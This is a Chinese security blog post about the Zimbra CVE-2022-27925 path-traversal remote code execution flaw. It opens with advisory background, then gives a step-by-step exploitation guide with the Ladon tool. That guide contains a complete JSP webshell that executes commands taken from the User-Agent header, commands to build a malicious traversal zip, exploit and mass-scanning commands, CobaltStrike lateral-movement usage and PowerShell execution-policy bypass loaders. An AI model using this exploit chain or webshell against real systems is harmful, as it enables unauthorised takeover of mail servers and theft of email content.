Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现

admin 2022年8月20日01:10:25安全文章评论179 views4947字阅读16分29秒阅读模式

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


Zimbra是一套邮箱和协同办公平台,包括WebMail,日历,通信录,Web文档管理等功能,有140个国家的超过20万企业使用,其中包括超过1000个政府和金融机构。


CVE-2022-27925漏洞

Volexity研究人员发现了一个Zimbra认证绕过漏洞(CVE-2022-27925)被用于攻击Zimbra Collaboration Suite (ZCS)邮箱服务器。在调查一起Zimbra邮件服务器入侵事件过程中,Volexity发现ZCS远程利用是根本原因。检查入侵服务器的web日志发现,漏洞利用预之前写入webshell到硬盘的漏洞是一致的。示例web日志记录如下所示:

[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7


检查MailboxImport servlet源码发现,url访问时会调用“doPost”函数,会检查用户是否经过认证,如下图所示:

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现

图 “MailboxImport” servlet函数

代码的问题是对认证进行了检查,也设置了错误信息,但是并没有return描述。也就是说之后的代码会继续执行,与用户的认证状态无关。利用该函数,攻击者只需要在URL中设置正确的参数就可以未授权利用该漏洞


受影响的版本

受影响的版本包括:

· Zimbra 8.8.15

· Zimbra 9.0.0


在野漏洞利用

Volexity 发现攻击者滥用该漏洞的过程中结合了另一个认证绕过漏洞(CVE-2022-37042)。研究人员认为该漏洞与2021年初发现的微软Exchange 0-day漏洞利用基本一致。最初的时候只是被情报监控相关的攻击者利用,但之后被大规模利用。攻击者成功利用该漏洞可以在被入侵的服务器的特定位置部署web shell以实现驻留。

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现

CISA在11日已经确认了这两个安全漏洞的在野利用。通过扫描发现,目前有超过1000台服务器存在后门或已经被入侵。涉及政府机关、军事结构、收入数十亿的跨国公司。由于扫描shell路径的限制,预计被入侵的服务器数量更多。


安全补丁

Volexity称,如果有漏洞的服务器在5月底前没有修复CVE-2022-27925漏洞,那就可以认为ZCS实例已经被入侵了,包括邮件内容在内的所有内容都可能被窃了。

研究人员建议对可能的入侵事件进行分析,并使用最新的补丁重构ZCS实例。


原理性POC检测

何为原理性POC,打个比方,如早期的疫情检测,发现有人感冒就拉去隔离说有新冠,因为当时技术落后,无法通过病毒特征来识别,所以当时检测出感染者靠的是运气,后期通过对病毒的不断研究,发现其特征,可做核酸检测,发现个感冒的人大家都不怕了,因为通过病毒特征检测,大家知道这人到底是不是真的感染病毒。很多扫描器检测是否存在漏洞,只是单纯检测某页面是否存在(这种其实就是靠运气检测的假POC),如果漏洞刚公开几天或一个月内,可能用扫描器去检测,发现“存在漏洞”然后刚好又利用成功,会认为扫描器准确,等再过一段时间,目标都打补丁了,扫描器再扫,还是提示漏洞,但死都利用不成功,仔细一看目标版本都是补丁版本了。



二、CVE-2022-27925 RCE漏洞复现


Ladon 9.2.0新增功能

Ladon 9.2.0 20220818[+]CVE-2022-27925  Zimbra mboximport ZIP目录穿越漏洞GetShell检测[+]EXP-2022-27925  Zimbra mboximport ZIP目录穿越漏洞GetShell EXP[+]WebShellCmd    新增JSP UserAgent明文WebShell & Base64 Shell  [-]移除IsShiro  
LadonGUI 9.2.0 20220815[u]修复文件分割功能 自动行前添加http://的BUG[u]修复IP/URL 未填写文件 使用文本去重等功能崩溃的BUG


第一步 Ladon原理性检测CVE-2022-27925漏洞

通过漏洞向目标发送穿越漏洞ZIP文件,释放JSP文件输出指定内容,检测文件是否存活且包含指定特征,从原理上确认是否存在漏洞,即检测出来的漏洞,绝对可以利用,存在漏洞的URL回显对应漏洞编号并高亮显示。


命令

Ladon http://zimbra.k8gege.org CVE-2022-27925


Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


批量检测

##### 165 CVE-2022-27925 批量探测Zimbra邮服ZIP目录穿越RCE漏洞Ladon 192.168.1.8 CVE-2022-27925Ladon http://zimbra.k8gege.org CVE-2022-27925Ladon ip.txt CVE-2022-27925Ladon url.txt CVE-2022-27925Ladon 192.168.1.1/c CVE-2022-27925Ladon 192.168.1.1/b CVE-2022-27925


PS:当目标参数为IP时,由于不确定IP哪个端口开放是否存在Zimbra,Ladon会探测多个端口(80、443、8443、7071等,成功发现一个端口存在漏洞立即退出不再检测同一IP其它端口,失败全部检测完几个端口才退出)


第二步 LadonGo生成CVE-2022-27925穿越漏洞ZIP文件


支持格式:  zip, jar, tar, tar.bz2, tar.gz and tgz

准备好webshell,使用LadonGo的EvilArc模块生成利用zip文件


ua.jsp 

已转成一行代码,Ladon >=9.2.0 webshell模块可连

<%@page import="java.io.*"%><%@page import="java.lang.String.*"%><%out.print("403 Forbidden");try{String pass = "tom";String cmd = request.getHeader("User-Agent");String path=application.getRealPath(request.getRequestURI());String dir=new File(path).getParent();if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}if(cmd.contains(pass+"=")){String cccc=cmd.replace(pass+"=","");Process child = Runtime.getRuntime().exec(cccc);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();}catch (InterruptedException e) {e.printStackTrace();}}}catch (IOException e) {System.err.println(e);}%>



命令:

Ladon EvilArc poc.zip 7 opt/zimbra/jetty_base/webapps/zimbra/public/ lnx test.jsp

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


Kali下生成(当然也可以使用其它Linux或Mac系统都是可以的 不要死脑筋)

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


第三步 EXP-2022-27925 Zimbra邮服未授权RCE漏洞EXP GetShell


命令:

Ladon EXP-2022-27925 https://zimbra.k8gege.org poc.zip


Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


第四步 检查WebShell


看到403不要慌,原本设计就是这样子的

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


第五步 Ladon连接WebShell执行命令

为了解决批量时webshell的兼容性问题,我们使用ua明文版webshell,所以连接的时候,参数也要对应,如下图成功执行命令,又可以愉快玩耍了。


命令:

Ladon WebShell jsp ua https://zimbra.k8gege.org pass whoami

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


PS:实战可以自己替换成其它webshell,使用管理工具操作更方便


三、CobaltStrike Ladon插件 Zimbra CVE-2022-27925  GetShell

实战中可能有些目标Zimbra只能内网访问,若内网中存在zimbra服务器,我们也可以通过CS一键GetShell对内网进行横向移动,获取邮件服务器。用法和直接使用Ladon一样,我们只需要在beacon输入对应Ladon命令即可

Ladon http://zimbra.k8gege.org CVE-2022-27925

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


右键GUI上打X的代表该功能未实现,但命令行一般均已实现,如本文的cve-2022-27925漏洞检测。


成功getshell后,使用webshell模块连接内网zimbra服务器执行命令

##### 168 WebShellCmd 连接jsp WebShell(支持cd、k8、ua、uab64)Ladon WebShell jsp uab64 https://zimbra.k8gege.org pass whoami

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


四、PowerShell版Ladon CVE-2022-27925 GetShell

命令:

powershell -exec bypass Import-Module .Ladon.ps1;Ladon whoami
powershell -exec bypass Import-Module .Ladon.ps1;Ladon https://zimbra.k8gege.org CVE-2022-27925
powershell -exec bypass Import-Module .Ladon.ps1;Ladon EXP-2022-27925 https://zimbra.k8gege.org poc.zip
powershell -exec bypass Import-Module .Ladon.ps1;Ladon WebShell jsp ua https://zimbra.k8gege.org/ua.jsp tom id

PS: 以上是本地执行,也可远程加载执行,具体命令查看Ladon.ps1注释


0x001 测试Ladon.ps1是否可正常执行 使用Ladon whoami

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


可正常执行后,我们再使用同样的方法,执行其它模块,替换whoami即可

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


连接webshell执行命令

powershell -exec bypass Import-Module .Ladon.ps1;Ladon WebShell jsp ua https://zimbra.k8gege.org/ua.jsp tom id

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


Ladon Wiki

Ladon功能模块很多,需要什么工具或功能可以在WIKI里搜索一下,可能省去你去网上搜索工具的时间,搞不好Ladon就有你想要的其它功能,用法一样简单。或者你知道有哪些功能,但不记得命令,也可以查看WIKI。

Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现


以上仅为简易命令,更多命令用法移步博客或关注本公众号,有空更新,当然也希望大家有空帮写教程,毕竟不同的人看教程理解不一样,使用场景也不一样,有些人的教程适合新手,有些人的教程适合所有人,我也没空把所有功能都当成新手来教,因为我也懒得写,所以有时候发完文章后,突然想起某个点没说清楚或没讲到位,但是公众号和博客不一样,不支持修改,所以就懒得改了,等下次就不一定记得这回事了。算了不说了,快12点了,先发这篇以后再说。



原文始发于微信公众号(K8实验室):Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月20日01:10:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现 http://cn-sec.com/archives/1243930.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: